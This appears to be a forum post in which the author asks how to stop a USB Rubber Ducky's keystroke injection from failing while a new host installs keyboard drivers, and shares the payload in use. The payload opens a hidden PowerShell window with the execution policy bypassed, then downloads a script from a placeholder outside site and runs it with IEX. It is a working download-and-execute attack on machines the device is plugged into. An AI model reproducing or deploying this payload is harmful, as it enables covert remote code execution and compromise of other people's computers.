Whenever r i plug the ducky into a machine that it has never been attacked before, the HID actions fail because the host is busy trying to find drivers for the ducky to work as a keyboard. I am using the c_duck_v2.1 firmware.
Has anyone got a solution to this problem besides delaying the HID actions for like 10 seconds? Here's my simple ducky payload:
DELAY 1500
GUI r
DELAY 500
STRING powershell -ExecutionPolicy bypass -noprofile -WindowStyle hidden
ENTER
DELAY 500
STRING $wc = New-Object system.net.webclient; $p = $wc.downloadString('https://examplepayloadsite.com/duck.ps1'); IEX $p;
ENTER